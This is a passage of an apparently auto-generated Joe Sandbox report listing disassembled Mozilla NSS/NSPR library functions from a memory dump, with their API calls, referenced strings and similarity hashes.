Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: b06cf1e00764846dfa58e67eb61051011d0205210bedef170a8fcffec1753a7a
Instruction ID: 2995f4cdb36b6afe53f751545abea8611e7d62bb585ce5b1ec88c6dd051ac512
Opcode Fuzzy Hash: b06cf1e00764846dfa58e67eb61051011d0205210bedef170a8fcffec1753a7a
Instruction Fuzzy Hash: 50616DB5E002158BEB00CFA9D895B9EBBF1AF48348F544028DC55A7B01E771E865CBA5

Function 6CBA2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CBA3F23,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2C93

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23,?), ref: 6CBA2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?,?,6CBA3F23), ref: 6CBA2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?), ref: 6CBA2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CB9E477,?,?,?,00000001,00000000,?), ref: 6CBA2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CBA2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CBA2D71
PR_Unlock.NSS3(?), ref: 6CBA2D7E

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 0aebb9a62e41e3602a6b7cf5f60eb3d49f024464df0fe77fa7dae14f0de4f6ab
Instruction ID: cfd131f00f8d4649d6dceb7c33bc80b732cf1cf6dadb84a71e1d388e759ad771
Opcode Fuzzy Hash: 0aebb9a62e41e3602a6b7cf5f60eb3d49f024464df0fe77fa7dae14f0de4f6ab
Instruction Fuzzy Hash: 305105B5D00644AFEB009F64EC448AA7778FF1A318B148520EC5C97B12F731E965C7E2

Function 6CB97C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCE2120,6CB97E60,00000000,?,?,?,?,6CC1067D,6CC11C60,00000000), ref: 6CB97C81

Part of subcall function 6CB04C70: TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
Part of subcall function 6CB04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
Part of subcall function 6CB04C70: PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9

TlsGetValue.KERNEL32 ref: 6CB97CA0
EnterCriticalSection.KERNEL32(?), ref: 6CB97CB4
PR_Unlock.NSS3 ref: 6CB97CCF

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

TlsGetValue.KERNEL32 ref: 6CB97D04
EnterCriticalSection.KERNEL32(?), ref: 6CB97D1B
realloc.MOZGLUE(-00000050), ref: 6CB97D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB97DF4
PR_Unlock.NSS3 ref: 6CB97E0E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: d26a37d0d33ab316e971094a00cd0bbc26fdf6589b40198ce28029c677904ac7
Instruction ID: b85200b88f6bae16087f65f162bbae801fda5a72fb06d240bd3b2e0dadfa646a
Opcode Fuzzy Hash: d26a37d0d33ab316e971094a00cd0bbc26fdf6589b40198ce28029c677904ac7
Instruction Fuzzy Hash: 9551D1B1A041519FEF009F28DC44B6577F5EF5B318F26413AED04A7722EBB0D950CA92

Function 6CB04C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D97
PR_Lock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04DBA
PR_WaitCondVar.NSS3 ref: 6CB04DD4
PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04DEF

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 110f73de5c1782ec1f6e161feaee4a67a536dbddf7820e2fd31a377a67753cd0
Instruction ID: a14fc52fdb4f1570716f8bb0716d2c98c5b4af2dbdc441214df9ba4e89079cea
Opcode Fuzzy Hash: 110f73de5c1782ec1f6e161feaee4a67a536dbddf7820e2fd31a377a67753cd0
Instruction Fuzzy Hash: 1A417BB1A14A95CFCB10AF7CD484159BBB8FF1A314F058669D888DB711EB30E894CF92

Function 6CC97CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CC97CE0

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC97D36
PR_Realloc.NSS3(?,00000080), ref: 6CC97D6D
PR_GetCurrentThread.NSS3 ref: 6CC97D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CC97DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC97DD8
malloc.MOZGLUE(00000080), ref: 6CC97DF8
PR_GetCurrentThread.NSS3 ref: 6CC97E06

Strings

:%s:%d:0x%lx, xrefs: 6CC97DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CC97DF0

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 71680e09728104946ce0665450aa90ed3b3f4ee20a14e7bb34e0244b8a5e6264
Instruction ID: f1726e6d78d702f410ca7385ba1e85c6afbc6c073d0b8c573c4acd1bf30c43b7
Opcode Fuzzy Hash: 71680e09728104946ce0665450aa90ed3b3f4ee20a14e7bb34e0244b8a5e6264
Instruction Fuzzy Hash: C941D9B29012019FDB04CF29CC80A6B37B6FF84318B25856CE8199BB61F731ED51D7A1

Function 6CC97E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC97E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CC97E46

Part of subcall function 6CB71240: TlsGetValue.KERNEL32(00000040,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71267
Part of subcall function 6CB71240: EnterCriticalSection.KERNEL32(?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB7127C
Part of subcall function 6CB71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71291
Part of subcall function 6CB71240: PR_Unlock.NSS3(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB712A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CC97EAF
PR_ImportFile.NSS3(?), ref: 6CC97ECF
PR_GetCurrentThread.NSS3 ref: 6CC97ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CC97F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CC97F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CC97F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CC97E41
%d:0x%lx, xrefs: 6CC97EA9

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: d1269c714effbf892a9415eef0ca01876cb99c2d3dc1e33f4806073a2b6735da
Instruction ID: ff011ee5278c90abdaf246dbb8ecb63746f911c43bbafd2c1a5976b3e5437c92
Opcode Fuzzy Hash: d1269c714effbf892a9415eef0ca01876cb99c2d3dc1e33f4806073a2b6735da
Instruction Fuzzy Hash: E6314470E01119CFEB009BAAC841AAFB7B9FF05348F104565D806E3A11F771DD04D792

Function 6CBCECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CBCDE64), ref: 6CBCED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCED22

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

PL_FreeArenaPool.NSS3(?), ref: 6CBCED4A
PL_FinishArenaPool.NSS3(?), ref: 6CBCED6B
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBCED38

Part of subcall function 6CB04C70: TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
Part of subcall function 6CB04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
Part of subcall function 6CB04C70: PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CBCED52
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBCED83
PL_FreeArenaPool.NSS3(?), ref: 6CBCED95
PL_FinishArenaPool.NSS3(?), ref: 6CBCED9D

Part of subcall function 6CBE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CBE127C,00000000,00000000,00000000), ref: 6CBE650E

Strings

security, xrefs: 6CBCED06

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 73bbc61578522cb584bc47ec566ef742d852df05538fa8e008ab3537a8f29814
Instruction ID: 85ba84b4467c0b6ebe8deed775ee4a79e47926d0e7f52ee9afd1d8590ad50d5c
Opcode Fuzzy Hash: 73bbc61578522cb584bc47ec566ef742d852df05538fa8e008ab3537a8f29814
Instruction Fuzzy Hash: 73118C76B002E8A7E6205725AC42BBF7378AF06B4CF050828E81173E41FB20A50CD6E7

Function 6CBB2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CBB2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CBB2D07

Part of subcall function 6CC909D0: PR_Now.NSS3 ref: 6CC90A22
Part of subcall function 6CC909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC90A35
Part of subcall function 6CC909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC90A66
Part of subcall function 6CC909D0: PR_GetCurrentThread.NSS3 ref: 6CC90A70
Part of subcall function 6CC909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC90A9D
Part of subcall function 6CC909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC90AC8
Part of subcall function 6CC909D0: PR_vsmprintf.NSS3(?,?), ref: 6CC90AE8
Part of subcall function 6CC909D0: EnterCriticalSection.KERNEL32(?), ref: 6CC90B19
Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC90B48
Part of subcall function 6CC909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC90C76
Part of subcall function 6CC909D0: PR_LogFlush.NSS3 ref: 6CC90C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CBB2D22

Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(?), ref: 6CC90B88
Part of subcall function 6CC909D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC90C5D
Part of subcall function 6CC909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC90C8D
Part of subcall function 6CC909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC90C9C
Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(?), ref: 6CC90CD1
Part of subcall function 6CC909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC90CEC
Part of subcall function 6CC909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC90CFB
Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC90D16
Part of subcall function 6CC909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CC90D26
Part of subcall function 6CC909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC90D35
Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CC90D65
Part of subcall function 6CC909D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CC90D70
Part of subcall function 6CC909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC90D90
Part of subcall function 6CC909D0: free.MOZGLUE(00000000), ref: 6CC90D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CBB2D3B

Part of subcall function 6CC909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC90BAB
Part of subcall function 6CC909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC90BBA
Part of subcall function 6CC909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC90D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CBB2D54

Part of subcall function 6CC909D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC90BCB
Part of subcall function 6CC909D0: EnterCriticalSection.KERNEL32(?), ref: 6CC90BDE
Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(?), ref: 6CC90C16

Strings

ulPinLen = %d, xrefs: 6CBB2D36
slotID = 0x%x, xrefs: 6CBB2D02
pLabel = 0x%p, xrefs: 6CBB2D4F
pPin = 0x%p, xrefs: 6CBB2D1D
C_InitToken, xrefs: 6CBB2CE7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 5a0715ec0d1c49827ef353fb1e82f3f18c51a4f05e1d8dc786205034433630c4
Instruction ID: 13b5259d0492abf0c1270ea11254b277263e11edea18ccff4f474c82141bb7f1
Opcode Fuzzy Hash: 5a0715ec0d1c49827ef353fb1e82f3f18c51a4f05e1d8dc786205034433630c4
Instruction Fuzzy Hash: 4521CF75200195AFDB409B94DD9CBA93BB1EB4B31AF448125F508A7622EF308D49CBA2

Function 6CC90EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CB72357), ref: 6CC90EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CB72357), ref: 6CC90EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC90EE6

Part of subcall function 6CC909D0: PR_Now.NSS3 ref: 6CC90A22
Part of subcall function 6CC909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC90A35
Part of subcall function 6CC909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC90A66
Part of subcall function 6CC909D0: PR_GetCurrentThread.NSS3 ref: 6CC90A70
Part of subcall function 6CC909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC90A9D
Part of subcall function 6CC909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC90AC8
Part of subcall function 6CC909D0: PR_vsmprintf.NSS3(?,?), ref: 6CC90AE8
Part of subcall function 6CC909D0: EnterCriticalSection.KERNEL32(?), ref: 6CC90B19
Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC90B48
Part of subcall function 6CC909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC90C76
Part of subcall function 6CC909D0: PR_LogFlush.NSS3 ref: 6CC90C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC90EFA

Part of subcall function 6CB7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F2B

Strings

Aborting, xrefs: 6CC90EB3
Assertion failure: %s, at %s:%d, xrefs: 6CC90ED9, 6CC90EE5, 6CC90F06, 6CC90F0B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 17041ab4b72eb09c6669ff6ae96c08d8e5f3b78a1c430c15e12419dd0fdebf2b
Instruction ID: 8d5d0681d23990df723bd2a2704f82934c0e43c4096fd8dd196d9a763d2eefc1
Opcode Fuzzy Hash: 17041ab4b72eb09c6669ff6ae96c08d8e5f3b78a1c430c15e12419dd0fdebf2b
Instruction Fuzzy Hash: 11F062B59001147BEE017FA0DC4AC9B3F3DDF86664F044464FD0956602EA36F914D6B3

Function 6CBF4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CBF4DCB

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CBF4DE1

